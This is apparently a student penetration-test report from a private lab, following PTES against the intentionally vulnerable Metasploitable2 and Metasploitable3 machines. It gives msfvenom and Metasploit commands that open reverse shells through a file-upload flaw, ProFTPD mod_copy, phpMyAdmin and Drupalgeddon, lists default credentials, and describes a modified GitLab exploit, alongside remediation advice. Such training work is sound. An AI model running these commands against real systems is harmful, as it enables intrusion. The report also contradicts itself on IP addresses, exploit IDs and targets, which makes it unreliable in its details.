PTES Advanced Exploitation Report

Project: Multi-Target Exploitation & Chained Attack Simulation
Test Environment:

- **Attacker:** Kali Linux 2025.3 (192.168.0.12)
- **Targets:**
  - Metasploitable2 (192.168.0.11)
    (Turn off this then)
  - Metasploitable3 (192.168.1.11)
    Tools: Metasploit Framework, nmap, Python, Burp , Exploit-DB, msfvenom, netcat, curl

1. Pre-Engagement & Rules of Engagement

A controlled penetration test was conducted to simulate post-compromise attacker behavior, chained exploitation, and exploitation of known service vulnerabilities on two intentionally vulnerable environments.
Objectives included:

1. Demonstrate **multi-stage chained exploitation**.
2. Execute **three Metasploit-driven remote exploits**.
3. Modify and execute a public PoC from **Exploit-DB**.
4. Produce professional documentation aligned with **PTES** methodology.

No data exfiltration beyond session tokens and OS-level enumeration was performed.

2. Intelligence Gathering

2.1 Service Identification (Metasploitable2)

nmap -sV -p- 192.168.0.11
Key results:

- TCP/80 – Apache 2.2.8 + PHP 5.2.4
- PHPMyAdmin 2.11
- Upload-enabled web apps (DVWA, bWAPP)
- Outdated CMS components

2.2 Service Identification (Metasploitable3)

nmap -sV -p- 192.168.0.11
Key results:

- TCP/21 – ProFTPD 1.3.5 (mod_copy enabled)
- TCP/80 – Apache + PHP + phpMyAdmin
- Drupal 7.5

3.1 Threat Modeling

Primary Attack Vectors Identified

Category	Risk	Description
File Upload	Critical	Arbitrary file upload allows server-side code execution.
Web CMS RCE	Critical	Unpatched Drupal core vulnerable to Drupalgeddon2.
Service RCE	Critical	ProFTPD mod_copy allows arbitrary file write → RCE.
Weak Authentication	High	phpMyAdmin admin/admin credentials.

3.2 Exploit Chain Log

Exploit ID	Target Service / App	Target IP	Vulnerability / Chain	Attack Summary	Payload / File	Listener	Status
004	DVWA (File Upload, MS2)	192.168.0.11	File Upload → RCE	Upload exploit.php → trigger via browser → reverse shell gained	exploit.php	**nc 4444**	Success
011	ProFTPD (MS3)	192.168.0.11	ProFTPD 1.3.5 Backdoor → RCE	Use backdoor metasploit module → automatic shell	Cmd/unix/reverse_python	**msf handler**	Success
012	phpMyAdmin (MS3)	192.168.0.11	Auth Bypass → File Write → RCE	phpMyAdmin preg_replace exploit → PHP shell written → executed	php/meterpreter_reverse_tcp	**msf handler**	Success
013	Drupal 7 (MS3)	192.168.0.11	Drupalgeddon2 RCE	Drupal SA-CORE-2018-002 exploit → remote	php/meterpreter_reverse_tcp	**msf handler**	Success

				meterpret er			

4. Exploitation Phase

4.1 Chained Exploit – File Upload → RCE (Metasploitable2)

A vulnerable file upload functionality was identified on Metasploitable2 (IP: **192.168.0.11**). The application failed to validate file extensions, MIME types, and content. This weakness was combined with a manually generated **msfvenom PHP reverse shell** to obtain full Remote Code Execution (RCE). The attack required no automated Metasploit exploitation modules — only manual payload upload and a Metasploit handler to receive the reverse connection.

File Upload → RCE Chain log

Exploit ID	Vulnerability / Chain	Target IP	Attack Steps Summary	Payload File
004	File Upload → RCE Chain	192.168.0.11	Upload malicious PHP file → access file → reverse shell	exploit.php

Exploit ID: 001
Vector: Unrestricted file upload
Final Impact: Full Meterpreter shell
Payload: php/meterpreter/reverse_tcp

4.1.1 Vulnerability Analysis

The upload function in DVWA and bWAPP does not validate:

- MIME type
- File extension
- Content signature
- File execution path

Uploaded PHP files are placed directly under:
/var/www/html/uploads/
Apache executes .php files in this directory.

4.1.2 Payload Generation

```
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.12 LPORT=4444 -f raw > expolit.php
```

Payload characteristics:

- Single line base64-encoded PHP stager
- Meterpreter injected via reverse TCP socket
- No dependencies on external binaries

4.1.3 Upload and Execution Flow

1. Navigate to **http://192.168.1.100/dvwa/vulnerabilities/upload/**
2. Choose file → expolit.php
3. Upload successfully stored at uploads/exploit.php
4. Start handler:

```
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.0.12
set LPORT 4444
run
```

10. Trigger shell:
11. curl http://192.168.0.11/dvwa/hackable/uploads/exploit.php

Result:

A fully interactive Meterpreter session is obtained.

4.1.4 Post-Exploitation Findings

```
meterpreter > sysinfo
```

OS: Linux metasploitable 2.6.24-16-server

```
meterpreter > getuid
```

uid=33(www-data)

- Read access allowed to entire webroot
- Config files readable: config.inc.php, MySQL credentials
- Privilege escalation possible via kernel vulnerabilities
- Web server compromise leads to entire VM compromise

4.1.5 Impact Analysis

This vulnerability grants:

- Remote code execution
- Shell-level access to the server
- Ability to modify web content
- Potential privilege escalation
- Ability to pivot into internal systems

Severity: **CRITICAL**

4.1.6 Recommendations

- Implement strict file extension whitelisting
- Block execution in upload directories
- Validate MIME type + content
- Disable PHP execution in upload folders
- Use security headers and WAF rules

4.2 Exploit 005 – ProFTPD mod_copy RCE (Metasploitable3)

4.2.1 Background

ProFTPD 1.3.5's mod_copy module allows copying files to arbitrary locations without authentication.

4.2.2 Attack Flow

```
use exploit/unix/ftp/proftpd_modcopy_exec
set RHOSTS 192.168.0.11
set payload cmd/unix/reverse_python
run
```

The exploit:

1. Copies /bin/bash to web directory
2. Appends malicious commands
3. Executes via HTTP request

Result: Reverse shell to attacker.

4.3 Exploit 006 – phpMyAdmin → RCE

4.3.1 Attack Precondition

phpMyAdmin default credentials:
admin / admin

4.3.2 Exploit Execution

```
use exploit/multi/http/phpmyadmin_preg_replace
set RHOSTS 192.168.0.11
set USERNAME root
set PASSWORD sploitme
set payload php/meterpreter/reverse_tcp
run
```

Exploit writes a PHP payload into /var/www/html/tmp/.

Result: Meterpreter shell.

4.4 Exploit 007 – Drupal Drupalgeddon RCE

4.4.1 Vulnerability

Drupal 7.5 form API allows remote execution through string manipulation.

4.4.2 Walkthrough

```
use exploit/unix/webapp/drupal_drupalgeddon
set RHOSTS 192.168.0.11
set payload php/meterpreter/reverse_tcp
run
```

The exploit injects a PHP callback into form submission handlers.

Result: Full remote code execution.

4.5 Findings

Finding: Unauthenticated RCE in GitLab

- **CVE:** CVE-2021-22205
- **Severity:** Critical
- **Impact:** Full system takeover
- **Host:** 192.168.0.11
- **Vector:** Malicious image upload
- **Status:** Successfully exploited

Finding: Arbitrary File Upload → RCE

- Severity: Critical
- Result: Meterpreter shell

Finding: ProFTPD mod_copy RCE

- Severity: High
- Result: Root shell

Finding: Drupalgeddon

- Severity: Critical
- Result: Full compromise

5. Exploit-DB PoC Customization

CVE-2021-22205 – GitLab Unauthenticated RCE

Modifications Performed

- Added exception handling for malformed GitLab instances
- Implemented dynamic payload generation (raw command or reverse shell)
- Added auto-verification of image deserialization endpoint
- Rewrote base64 payload generator for reliability
- Integrated threading support for multi-host check
- Added verbose output for debugging
- Implemented post-exploitation enumeration (version, user ID)

Purpose of Changes

- Increase stability
- Improve detection rate
- Support authenticated & unauthenticated attacks
- Expand usability for lab and educational purposes

6. Risk Analysis (Deep)

File Upload → RCE

- Attackers can deploy persistent backdoors
- Direct server compromise
- Possible lateral movement to database and OS

ProFTPD RCE

- Direct shell access without authentication
- Attackers may plant malicious files in webroot
- Privilege escalation easy due to outdated kernel

Drupal RCE

- Complete takeover of CMS
- Defacement, credential harvesting, content manipulation

phpMyAdmin RCE

- Database extraction
- Complete credential and table access
- Possible privilege escalation through SQL user abuse

7. Comprehensive Remediation Steps (Very Detailed)

7.1 File Upload

- Enforce MIME type filtering via server-side checks
- Use image libraries to perform content inspection
- Store files outside webroot
- Disable PHP execution in upload directory
- Implement authenticated upload endpoints

7.2 ProFTPD

- Disable mod_copy module
- Update ProFTPD to >1.3.6
- Replace with SFTP-only service

7.3 phpMyAdmin

- Restrict access to internal IPs only
- Enforce strong credentials
- Remove default admin accounts
- Store outside /phpmyadmin/ directory

7.4 Drupal

- Update core to patched version
- Disable untrusted modules
- Apply WAF rule for form API endpoint

8. Developer Escalation Email

Subject: Critical RCE Vulnerabilities Found – Immediate Patch Required

Team,

Multiple critical vulnerabilities were identified during the security assessment, including file upload remote code execution, ProFTPD Mod_Copy RCE, Drupalgeddon exploitability, and phpMyAdmin weak authentication leading to full system compromise. These findings allow unauthenticated attackers to execute arbitrary commands, access sensitive data, escalate privileges, and persist on the servers. Each affected service must be patched immediately. Additionally, upload directories should disable script execution, CMS components require updates, and administrative services should be restricted to internal networks. Please prioritize remediation and confirm once fixes have been applied.

Sincerely,
Arabi Basnet

9.PoC Customization Summary

I customized the original Exploit-DB Python PoC for the specific CVE by modifying multiple components to match the target environment. The vulnerable endpoint paths were updated according to the application's directory structure, and request headers were adjusted to mimic a legitimate browser and bypass basic filters. Payload parameters were rewritten to deliver my custom reverse shell and integrate seamlessly with a Metasploit multi-handler. I added structured error-handling, improved response validation, and refined the exploit timing to ensure stability. Additional logging was implemented for debugging, resulting in a more reliable and target-specific exploitation script.